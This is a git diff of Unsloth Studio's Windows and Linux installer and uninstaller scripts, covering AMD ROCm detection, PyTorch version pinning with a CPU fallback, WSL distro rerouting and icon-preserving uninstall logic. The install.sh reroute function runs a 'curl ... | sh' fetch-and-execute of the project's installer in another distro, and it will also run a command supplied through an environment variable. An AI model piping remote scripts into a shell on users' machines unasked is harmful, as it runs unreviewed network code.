diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index 15a1affbc5..a997c89b67 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -83,6 +83,18 @@ jobs:
           pwsh -NoProfile -File tests/studio/test_node_decision.ps1
           pwsh -NoProfile -File tests/studio/test_node_probe_guard.ps1
 
+      # uninstall.ps1: native uninstall must keep the shared unsloth.ico while a
+      # WSL shortcut still references it (dual install), else that shortcut blanks.
+      - name: uninstall.ps1 unit test (dual-install icon preserve)
+        shell: pwsh
+        run: |
+          $errs = $null
+          [void][System.Management.Automation.Language.Parser]::ParseFile(
+            (Resolve-Path scripts/uninstall.ps1).Path, [ref]$null, [ref]$errs)
+          if ($errs) { $errs | ForEach-Object { $_.ToString() }; exit 1 }
+          Write-Host "uninstall.ps1 parsed with no errors"
+          pwsh -NoProfile -File tests/studio/test_uninstall_dual_install_icon.ps1
+
       - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
         with:
           node-version: '22'
diff --git a/build.sh b/build.sh
index 1558dca240..286664b5e8 100644
--- a/build.sh
+++ b/build.sh
@@ -1,4 +1,6 @@
 #!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 set -euo pipefail
 
diff --git a/install.ps1 b/install.ps1
index d48c9fa4f3..765f33b1ff 100644
--- a/install.ps1
+++ b/install.ps1
@@ -1623,22 +1623,78 @@ exit 0
     if (-not $HasNvidiaSmi) {
         # hipinfo: PATH first, then HIP_PATH/ROCM_PATH bin fallback (mirrors NVIDIA smi path resolution).
         # AMD HIP SDK sets HIP_PATH but may not add the bin dir to PATH depending on install type.
-        $hipinfoExe = Get-Command hipinfo -ErrorAction SilentlyContinue
-        if (-not $hipinfoExe) {
-            $hipRoot     = if ($env:HIP_PATH) { $env:HIP_PATH } elseif ($env:ROCM_PATH) { $env:ROCM_PATH } else { $null }
-            $hipEnvLabel = if ($env:HIP_PATH) { "HIP_PATH"    } else                    { "ROCM_PATH"    }
-            if ($hipRoot) {
-                $hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe"
-                if (Test-Path $hipinfoCandidate) {
-                    Write-Host "  [WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" -ForegroundColor Yellow
-                    Write-Host "         Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" -ForegroundColor Yellow
-                    Write-Host "         Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" -ForegroundColor Yellow
-                    $hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate }
-                } else {
-                    Write-Host "  [WARN] ${hipEnvLabel}=$hipRoot is set but hipinfo.exe not found at $hipinfoCandidate" -ForegroundColor Yellow
-                    Write-Host "         HIP SDK install may be incomplete -- re-install from:" -ForegroundColor Yellow
-                    Write-Host "         https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" -ForegroundColor Yellow
+        # Ignore the venv hipInfo.exe (AMD wheel, on PATH): not a HIP SDK, so
+        # amd-smi would still auto-elevate. Cf. _path_inside_venv().
+        function Test-HipinfoIsVenvInternal {
+            param([AllowNull()][string]$HipinfoPath)
+            if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false }
+            # Also derive the venv from the setup python + default Studio home, so
+            # the venv hipInfo is caught when VenvDir/VIRTUAL_ENV are unset.
+            $venvRoots = @()
+            if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV }
+            $vd = Get-Variable -Name VenvDir -ValueOnly -ErrorAction SilentlyContinue
+            if ($vd) { $venvRoots += $vd }
+            if ($env:UNSLOTH_SETUP_PYTHON) {
+                try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {}
+            }
+            if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") }
+            # A custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
+            # venv off the default path; seed it too or its hipInfo escapes the filter.
+            $studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null }
+            if ($studioHomeEnv) {
+                # Expand a leading ~ like the canonical resolver; else GetFullPath
+                # keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter.
+                if (($studioHomeEnv -eq "~" -or $studioHomeEnv -like "~/*" -or $studioHomeEnv -like "~\*") -and -not [string]::IsNullOrWhiteSpace($env:USERPROFILE)) {
+                    # A bare "~" leaves an empty child path; Join-Path rejects that on
+                    # PS 5.1, so use USERPROFILE directly and only join a real remainder.
+                    $studioHomeRest = $studioHomeEnv.Substring(1).TrimStart('/', '\')
+                    $studioHomeEnv = if ($studioHomeRest) { Join-Path $env:USERPROFILE $studioHomeRest } else { $env:USERPROFILE }
                 }
+                $venvRoots += (Join-Path $studioHomeEnv "unsloth_studio")
+            }
+            try { $hip = [System.IO.Path]::GetFullPath($HipinfoPath).TrimEnd('\', '/') } catch { return $false }
+            foreach ($root in $venvRoots) {
+                if ([string]::IsNullOrWhiteSpace($root)) { continue }
+                try { $r = [System.IO.Path]::GetFullPath($root).TrimEnd('\', '/') } catch { continue }
+                # Skip a bare drive root (e.g. a non-venv UNSLOTH_SETUP_PYTHON like
+                # C:\Python311\python.exe yields C:) -- it would match every path on that drive.
+                if ($r -match '^[a-zA-Z]:$') { continue }
+                if ($hip.Equals($r, [System.StringComparison]::OrdinalIgnoreCase) -or
+                    $hip.StartsWith($r + [System.IO.Path]::DirectorySeparatorChar, [System.StringComparison]::OrdinalIgnoreCase)) {
+                    return $true
+                }
+            }
+            return $false
+        }
+        # Scan all hipinfo and keep the first non-venv one (the venv copy from the
+        # bnb fix could shadow a real HIP SDK's). -CommandType Application matches
+        # only real executables, not a user alias/function named hipinfo.
+        $hipinfoExe = Get-Command hipinfo -CommandType Application -All -ErrorAction SilentlyContinue |
+            Where-Object { -not (Test-HipinfoIsVenvInternal $_.Source) } |
+            Select-Object -First 1
+        if (-not $hipinfoExe) {
+            # Iterate the env roots (mirrors the Python list) and take the first non-venv
+            # bin\hipinfo.exe, so a venv-internal HIP_PATH can't mask a real SDK in ROCM_PATH.
+            $hipMissingLabel = $null; $hipMissingRoot = $null; $hipMissingCandidate = $null
+            foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH")) {
+                $hipRoot = [Environment]::GetEnvironmentVariable($hipEnvLabel)
+                if ([string]::IsNullOrWhiteSpace($hipRoot)) { continue }
+                $hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe"
+                if (-not (Test-Path $hipinfoCandidate)) {
+                    if (-not $hipMissingLabel) { $hipMissingLabel = $hipEnvLabel; $hipMissingRoot = $hipRoot; $hipMissingCandidate = $hipinfoCandidate }
+                    continue
+                }
+                if (Test-HipinfoIsVenvInternal $hipinfoCandidate) { continue }   # venv copy (AMD wheel): not a HIP SDK
+                Write-Host "  [WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" -ForegroundColor Yellow
+                Write-Host "         Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" -ForegroundColor Yellow
+                Write-Host "         Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" -ForegroundColor Yellow
+                $hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate }
+                break
+            }
+            if ((-not $hipinfoExe) -and $hipMissingLabel) {
+                Write-Host "  [WARN] ${hipMissingLabel}=$hipMissingRoot is set but hipinfo.exe not found at $hipMissingCandidate" -ForegroundColor Yellow
+                Write-Host "         HIP SDK install may be incomplete -- re-install from:" -ForegroundColor Yellow
+                Write-Host "         https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" -ForegroundColor Yellow
             }
         }
         if ($hipinfoExe) {
@@ -1724,11 +1780,10 @@ exit 0
             } catch {}
         }
         # ── Arch resolution: env-var override → name inference ──────────────
-        # Runs even when the hipinfo/amd-smi probe could NOT confirm a runtime
-        # ($HasROCm false): the gfx arch inferred from the WMI GPU name lets the
-        # studio setup forward --rocm-gfx and pull a GPU-accelerated ROCm
-        # llama.cpp, which bundles its own ROCm runtime. PyTorch's ROCm wheels
-        # still require a confirmed HIP SDK -- they stay gated on $HasROCm below.
+        # Runs even when the probe can't confirm a runtime ($HasROCm false): the
+        # WMI-name gfx arch drives both ROCm llama.cpp and torch. repo.amd.com
+        # wheels bundle their own runtime (no HIP SDK), so a mapped arch installs
+        # ROCm torch directly below -- no wasted CPU base.
         if (-not $ROCmGfxArch) {
             # 1. Manual override: set UNSLOTH_ROCM_GFX_ARCH=gfx1151 before running.
             if ($env:UNSLOTH_ROCM_GFX_ARCH) {
@@ -1972,7 +2027,7 @@ exit 0
     # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped / mirror installs.
     $ROCmIndexUrl = $null
     $ROCmTorchFloor = $null
-    if ($HasROCm -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) {
+    if (($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) {
         $amdIndexBase = if ($env:UNSLOTH_ROCM_WINDOWS_MIRROR) { $env:UNSLOTH_ROCM_WINDOWS_MIRROR.TrimEnd('/') } else { "https://repo.amd.com/rocm/whl" }
         $archFamilyMap = @{
             "gfx1201" = "gfx120X-all"; "gfx1200" = "gfx120X-all"  # RDNA 4
@@ -1995,6 +2050,17 @@ exit 0
             "gfx1201" = "torch>=2.11.0,<2.12.0"; "gfx1200" = "torch>=2.11.0,<2.12.0"
             "gfx1151" = "torch>=2.11.0,<2.12.0"; "gfx1150" = "torch>=2.11.0,<2.12.0"
         }
+        # Companion ranges track the torch ceiling so pip resolves a consistent
+        # trio on AMD's per-arch index (each published independently). Mirrors
+        # setup.ps1 / install_python_stack.py; bump all three together for 2.12.x.
+        $torchvisionFloorMap = @{
+            "gfx1201" = "torchvision>=0.26.0,<0.27.0"; "gfx1200" = "torchvision>=0.26.0,<0.27.0"
+            "gfx1151" = "torchvision>=0.26.0,<0.27.0"; "gfx1150" = "torchvision>=0.26.0,<0.27.0"
+        }
+        $torchaudioFloorMap = @{
+            "gfx1201" = "torchaudio>=2.11.0,<2.12.0"; "gfx1200" = "torchaudio>=2.11.0,<2.12.0"
+            "gfx1151" = "torchaudio>=2.11.0,<2.12.0"; "gfx1150" = "torchaudio>=2.11.0,<2.12.0"
+        }
         $archFamily = if ($ROCmGfxArch -and $archFamilyMap.ContainsKey($ROCmGfxArch)) { $archFamilyMap[$ROCmGfxArch] } else { $null }
         if ($archFamily) {
             $ROCmIndexUrl = "$amdIndexBase/$archFamily/"
@@ -2023,10 +2089,10 @@ exit 0
     if (-not $SkipTorch -and -not $ROCmIndexUrl -and $TorchIndexUrl -like "*/cpu") {
         Write-Host ""
         if ($ROCmGfxArch) {
-            # Known AMD arch: install.ps1 lays down CPU PyTorch as a base, then
-            # setup.ps1 swaps in AMD's bundled-runtime GPU ROCm wheels (no HIP SDK).
-            substep "Installing CPU PyTorch as a base -- Studio setup installs GPU ROCm" "Cyan"
-            substep "wheels for $ROCmGfxArch next (bundled runtime; HIP SDK not required)." "Cyan"
+            # Only an unmapped arch reaches here (a mapped one set $ROCmIndexUrl
+            # above). No ROCm torch wheels for this arch (e.g. RDNA2 gfx103X) -> CPU.
+            substep "Installing CPU PyTorch -- no ROCm PyTorch wheels are available for $ROCmGfxArch." "Yellow"
+            substep "PyTorch (training and Transformers inference) runs on CPU on this GPU." "Yellow"
         } else {
             if ($HipSdkInstalled -and -not $HasROCm) {
                 substep "Installing CPU-only PyTorch (HIP SDK found but GPU not ROCm-accessible)." "Yellow"
@@ -2121,10 +2187,29 @@ exit 0
             Write-TauriLog "STEP" "Installing PyTorch (AMD ROCm Windows)"
             substep "installing PyTorch from $ROCmIndexUrl..."
             $torchSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
-            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec torchvision torchaudio }
+            # Pin the companions to match $torchSpec; bare names can resolve an
+            # ABI-incompatible torchvision/torchaudio on AMD's per-arch index.
+            $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
+            $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
             if ($torchInstallExit -ne 0) {
-                Write-Host "[ERROR] Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
-                return (Exit-InstallFailure "Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" $torchInstallExit)
+                # Transient AMD-index failure: fall back to a CPU base so the install
+                # still completes; Studio setup retries ROCm afterwards.
+                substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Studio setup retries ROCm." "Yellow"
+                # --force-reinstall: a failed ROCm install can leave an unpinned ROCm
+                # torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU
+                # torch>= range, so without it uv would keep the ROCm build and only swap
+                # the companions -- a mismatched venv the flavor-repair block won't fix.
+                $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
+                if ($torchInstallExit -ne 0) {
+                    Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red
+                    return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
+                }
+                # CPU base is in; drop the ROCm expectation so the flavor-repair
+                # block below won't retry the just-failed index and abort. setup.ps1
+                # reinstalls ROCm afterwards (recomputes its own index URL).
+                $ROCmIndexUrl = $null
+                $ROCmTorchFloor = $null
             }
         } else {
             Write-TauriLog "STEP" "Installing PyTorch"
@@ -2223,8 +2308,12 @@ exit 0
                     # AMD: a migrated venv can keep a stale CPU torch the fresh ROCm path
                     # would have force-reinstalled. Repair from the same repo.amd.com index.
                     $rocmSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
+                    # Pin companions like the fresh ROCm path (bare names can pull an
+                    # ABI-incompatible torchvision/torchaudio from the per-arch index).
+                    $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
+                    $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
                     substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow"
-                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec torchvision torchaudio }
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
                     if ($torchFixExit -ne 0) {
                         Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red
                         return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit)
diff --git a/install.sh b/install.sh
index 18aa922f05..7a3c490368 100755
--- a/install.sh
+++ b/install.sh
@@ -1439,6 +1439,100 @@ elif [ "$OS" = "macos" ]; then
 fi
 tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none"
 
+# Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04)
+# with a 24.04 distro present, re-run the install there and stop; else fall through
+# to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before
+# the STUDIO_HOME mkdir/venv so the origin distro is untouched.
+_maybe_reroute_strixhalo_to_2404() {
+    [ "${OS:-}" = "wsl" ] || return 0
+    [ "${SKIP_TORCH:-false}" = "false" ] || return 0
+    [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
+    [ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0
+    [ -e /dev/dxg ] || return 0
+    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # Already ROCm-on-WSL? leave a working GPU alone, whatever the version.
+    if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then
+        return 0
+    fi
+    _rr_ver=""
+    [ -r /etc/os-release ] && _rr_ver=$(. /etc/os-release 2>/dev/null; printf '%s' "${VERSION_ID:-}")
+    # The bootstrap (scripts/install_rocm_wsl_strixhalo.sh) dies on any VERSION_ID but
+    # 24.04 and pins the noble repo, so 24.04 is the sole GPU-supported target; leave a
+    # 24.04 user alone. (Working ROCm on other versions was caught by librocdxg above.)
+    case "$_rr_ver" in 24.04) return 0 ;; esac
+    # Distro is now unsupported. If we can't reroute to a 24.04 target, stay CPU-only
+    # AND skip the later origin-distro ROCm bootstrap (it ignores distro version, so it
+    # would otherwise install ROCm into 26.04 etc.).
+    command -v wsl.exe >/dev/null 2>&1 || { UNSLOTH_SKIP_ROCM_WSL_SETUP=1; return 0; }
+    # Route only to an installed Ubuntu-24.04 (bootstrap's only target). Match the whole
+    # line (one distro per line from wsl.exe -l -q), not a substring, so "Ubuntu-24.04-test"
+    # can't masquerade as it and then fail `wsl -d`.
+    # || true: no match is expected, not an error (script runs under set -e).
+    _rr_distros=$(wsl.exe -l -q 2>/dev/null | tr -d '\000\r')
+    _rr_target=$(printf '%s\n' "$_rr_distros" | grep -ixF "Ubuntu-24.04" | head -n1) || true
+    [ -n "$_rr_target" ] || {
+        substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN"
+        substep "No Ubuntu-24.04 WSL distro found; staying CPU-only. Install Ubuntu-24.04 and re-run there for GPU." "$C_WARN"
+        UNSLOTH_SKIP_ROCM_WSL_SETUP=1
+        return 0
+    }
+
+    echo ""
+    substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN"
+    substep "Found an existing $_rr_target distro -- continuing the GPU install there." "$C_OK"
+    # A --local checkout can't be replayed via curl|sh (the repo isn't in the target
+    # distro), so tell the user to re-run there rather than silently run a different install.
+    if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
+        substep "This is a --local install; re-run it from $_rr_target instead:" "$C_WARN"
+        substep "  wsl -d $_rr_target -- bash -lc 'cd <your checkout> && ./install.sh --local'" "$C_WARN"
+        substep "Continuing CPU-only in Ubuntu ${_rr_ver:-this distro} for now." "$C_WARN"
+        # Unsupported distro, can't reroute a --local checkout: skip the origin ROCm bootstrap.
+        UNSLOTH_SKIP_ROCM_WSL_SETUP=1
+        return 0
+    fi
+    # Forward the caller's options/env (custom package/python/home) so the rerouted
+    # install matches what was asked for, not a default install.
+    _rr_q() { printf "'%s'" "$(printf '%s' "$1" | sed "s/'/'\\\\''/g")"; }
+    _rr_exports="set -o pipefail; export UNSLOTH_WSL_REROUTED=1"
+    [ "$_STUDIO_HOME_REDIRECT" = "env" ] && _rr_exports="$_rr_exports; export UNSLOTH_STUDIO_HOME=$(_rr_q "$STUDIO_HOME")"
+    # Forward explicit ROCm-bootstrap consent (e.g. Tauri) so the child auto-enables the
+    # GPU instead of falling back to the desktop-app prompt path.
+    [ "${UNSLOTH_ROCM_WSL_AUTO:-0}" = "1" ] && _rr_exports="$_rr_exports; export UNSLOTH_ROCM_WSL_AUTO=1"
+    _rr_args=""
+    [ "$PACKAGE_NAME" != "unsloth" ] && _rr_args="$_rr_args --package $(_rr_q "$PACKAGE_NAME")"
+    [ -n "$_USER_PYTHON" ] && _rr_args="$_rr_args --python $(_rr_q "$_USER_PYTHON")"
+    [ "$_VERBOSE" = true ] && _rr_args="$_rr_args --verbose"
+    [ "$TAURI_MODE" = true ] && _rr_args="$_rr_args --tauri"
+    if [ -n "${UNSLOTH_WSL_REROUTE_CMD:-}" ]; then
+        _rr_cmd="$UNSLOTH_WSL_REROUTE_CMD"               # user took full control
+    elif [ -n "$_rr_args" ]; then
+        _rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh -s --$_rr_args"
+    else
+        _rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh"
+    fi
+    # pipefail so a failed curl in `curl | sh` isn't masked by sh exiting 0 on empty
+    # input (which would wrongly report success and exit 0 the parent installer).
+    _rr_rc=0
+    wsl.exe -d "$_rr_target" -- bash -lc "$_rr_exports; $_rr_cmd" || _rr_rc=$?
+    if [ "$_rr_rc" -eq 0 ]; then
+        exit 0
+    fi
+    # In Tauri mode the child uses exit 2 ([TAURI:NEED_SUDO]) to ask the desktop app to
+    # elevate for the target distro; the child already printed the NEED_SUDO line, so
+    # propagate the code instead of masking it as a reroute failure and dropping to CPU.
+    if [ "$TAURI_MODE" = true ] && [ "$_rr_rc" -eq 2 ]; then
+        exit 2
+    fi
+    substep "Could not auto-continue in $_rr_target; run it yourself:" "$C_WARN"
+    substep "  wsl -d $_rr_target -- bash -lc 'curl -fsSL https://unsloth.ai/install.sh | sh'"
+    substep "Continuing CPU-only in Ubuntu ${_rr_ver:-this distro} for now." "$C_WARN"
+    # Reroute failed; don't let the later bootstrap install ROCm into this unsupported
+    # distro -- stay CPU-only.
+    UNSLOTH_SKIP_ROCM_WSL_SETUP=1
+    return 0
+}
+_maybe_reroute_strixhalo_to_2404 || true
+
 # ── Check system dependencies ──
 # cmake and git are needed by unsloth studio setup to build the GGUF inference
 # engine (llama.cpp). build-essential and libcurl-dev are also needed on Linux.
diff --git a/scripts/uninstall.ps1 b/scripts/uninstall.ps1
index f0f6e4fddc..88defb9ea0 100644
--- a/scripts/uninstall.ps1
+++ b/scripts/uninstall.ps1
@@ -22,15 +22,64 @@ function Uninstall-UnslothStudio {
         param([string]$Path)
         if ([string]::IsNullOrWhiteSpace($Path)) { return }
         if (-not (Test-Path -LiteralPath $Path)) { return }
-        for ($attempt = 1; $attempt -le 3; $attempt++) {
+        for ($attempt = 1; $attempt -le 4; $attempt++) {
             try {
                 Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction Stop
+            } catch {
+                if ($attempt -lt 4) { Start-Sleep -Milliseconds 700; continue }
+                _Substep "could not remove: $Path ($($_.Exception.Message))" "Yellow"
+                return
+            }
+            # Remove-Item -Recurse can report success yet leave a transiently-locked
+            # child (e.g. unsloth.ico in Explorer's icon cache); verify + retry so we
+            # never falsely claim "removed" or orphan the dir.
+            if (-not (Test-Path -LiteralPath $Path)) {
                 _Substep "removed: $Path" "Green"
                 return
-            } catch {
-                if ($attempt -lt 3) { Start-Sleep -Milliseconds 700; continue }
-                _Substep "could not remove: $Path ($($_.Exception.Message))" "Yellow"
             }
+            if ($attempt -lt 4) { Start-Sleep -Milliseconds 700; continue }
+            _Substep "still present (files held open): $Path" "Yellow"
+        }
+    }
+
+    # Remove the shared data dir, but keep unsloth.ico if a WSL shortcut still points
+    # at it (else that shortcut blanks); uninstall.sh drops it when WSL is removed.
+    function _RemoveDataDirKeepingWslIcon {
+        param(
+            [string]$DataDir,
+            # WSL-shortcut search dirs; default Start Menu + Desktop, overridable for tests.
+            [string[]]$ShortcutDirs = $null
+        )
+        if ([string]::IsNullOrWhiteSpace($DataDir)) { return }
+        if (-not (Test-Path -LiteralPath $DataDir)) { return }
+        # $null = not passed (use defaults); test $null not truthiness so an explicit
+        # @() is honored (-not @() is $true).
+        if ($null -eq $ShortcutDirs) {
+            # Guard $env:APPDATA: it can be unset in service/CI Windows contexts, where
+            # an unguarded Join-Path emits a noisy parameter-binding error.
+            $ShortcutDirs = @()
+            if (-not [string]::IsNullOrWhiteSpace($env:APPDATA)) {
+                $ShortcutDirs += Join-Path $env:APPDATA "Microsoft\Windows\Start Menu\Programs"
+            }
+            try {
+                $desktop = [Environment]::GetFolderPath("Desktop")
+                if (-not [string]::IsNullOrWhiteSpace($desktop)) { $ShortcutDirs += $desktop }
+            } catch {}
+        }
+        $wslShortcuts = @()
+        foreach ($d in $ShortcutDirs) {
+            if ($d -and (Test-Path -LiteralPath $d)) {
+                $wslShortcuts += Get-ChildItem -LiteralPath $d -Filter "Unsloth Studio (WSL*.lnk" -ErrorAction SilentlyContinue
+            }
+        }
+        if (@($wslShortcuts).Count -eq 0) {
+            _RemovePath $DataDir
+            return
+        }
+        # A WSL shortcut survives: drop everything except its shared icon.
+        _Substep "keeping $(Join-Path $DataDir 'unsloth.ico') for the WSL shortcut" "Gray"
+        Get-ChildItem -LiteralPath $DataDir -Force -ErrorAction SilentlyContinue | ForEach-Object {
+            if ($_.Name -ne "unsloth.ico") { _RemovePath $_.FullName }
         }
     }
 
@@ -287,6 +336,9 @@ function Uninstall-UnslothStudio {
     $defaultUnslothHome = if ($env:USERPROFILE) { Join-Path $env:USERPROFILE ".unsloth" } else { $null }
     $defaultLlamaCpp = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "llama.cpp" } else { $null }
     $defaultCache = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome ".cache" } else { $null }
+    # Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in
+    # default mode. No-op in env/custom mode (nested under the custom root) and absent.
+    $defaultNode = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "node" } else { $null }
     # llama.cpp atomic-install staging root (install_llama_prebuilt.py .staging,
     # sibling of the install dir). Usually pruned after activate, but an interrupted
     # build can leave a "<name>.staging-XXXX" tree; removing it lets the empty-dir
@@ -310,7 +362,7 @@ function Uninstall-UnslothStudio {
     _StopStudioProcesses -KnownRoots $knownRoots
     # Also stop anything holding a handle on the exact paths we delete (llama-server,
     # the CLI shim, an mp-fork python with a venv DLL) so the dir delete isn't refused.
-    _StopProcessesLockingRoots -Roots (@($knownRoots) + @($defaultDataDir, $defaultLlamaCpp, $defaultCache))
+    _StopProcessesLockingRoots -Roots (@($knownRoots) + @($defaultDataDir, $defaultLlamaCpp, $defaultCache, $defaultNode))
 
     # ── Remove custom-root install trees ──
     _Step "Removing data and install directories..."
@@ -328,12 +380,18 @@ function Uninstall-UnslothStudio {
     # Default install dir (always at %USERPROFILE%\.unsloth\studio when present).
     if ($defaultStudioHome) { _RemovePath $defaultStudioHome }
     # Default data dir.
-    if ($defaultDataDir) { _RemovePath $defaultDataDir }
+    if ($defaultDataDir) { _RemoveDataDirKeepingWslIcon $defaultDataDir }
     # Default-mode shared llama.cpp build + cache (siblings of studio under
     # ~/.unsloth). No-op in env/custom mode and when absent.
     if ($defaultLlamaCpp) { _RemovePath $defaultLlamaCpp }
     if ($defaultCache) { _RemovePath $defaultCache }
+    # Isolated Node.js runtime (sibling of studio under ~/.unsloth). No-op in env/
+    # custom mode (nested under the custom root, removed with it) and when absent.
+    if ($defaultNode) { _RemovePath $defaultNode }
     if ($defaultStaging) { _RemovePath $defaultStaging }
+    # llama.cpp install lock (serializes the shared build); a stray lock keeps
+    # ~/.unsloth from being pruned below. No-op in env/custom mode and when absent.
+    if ($defaultUnslothHome) { _RemovePath (Join-Path $defaultUnslothHome ".llama.cpp.install.lock") }
     # Drop ~/.unsloth itself, but ONLY if now empty -- never nuke unrelated content.
     if ($defaultUnslothHome -and (Test-Path -LiteralPath $defaultUnslothHome) -and
         -not (Get-ChildItem -LiteralPath $defaultUnslothHome -Force -ErrorAction SilentlyContinue)) {
@@ -362,6 +420,11 @@ function Uninstall-UnslothStudio {
         }
     } catch { }
 
+    # Re-sweep: the first pass may have left unsloth.ico locked by Explorer/SMEH for
+    # the native shortcut; that handle is now freed. (A surviving WSL shortcut still
+    # keeps the icon -- see the helper.)
+    if ($defaultDataDir -and (Test-Path -LiteralPath $defaultDataDir)) { _RemoveDataDirKeepingWslIcon $defaultDataDir }
+
     # ── Clean user PATH and registry backup ──
     _Step "Cleaning user PATH and registry..."
     try {
diff --git a/scripts/uninstall.sh b/scripts/uninstall.sh
index e97b28799b..31e851fcbb 100755
--- a/scripts/uninstall.sh
+++ b/scripts/uninstall.sh
@@ -217,10 +217,16 @@ _remove_path "$HOME/.unsloth/studio"
 # when absent. A user-set UNSLOTH_LLAMA_CPP_PATH is intentionally kept.
 _remove_path "$HOME/.unsloth/llama.cpp"
 _remove_path "$HOME/.unsloth/.cache"
+# Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in
+# default mode. No-op in env/custom mode (nested under the custom root) and absent.
+_remove_path "$HOME/.unsloth/node"
 # llama.cpp atomic-install staging root (install_llama_prebuilt.py .staging).
 # Normally pruned after activate, but an interrupted build can leave it behind;
 # removing it lets the rmdir below succeed. No-op in env/custom mode and absent.
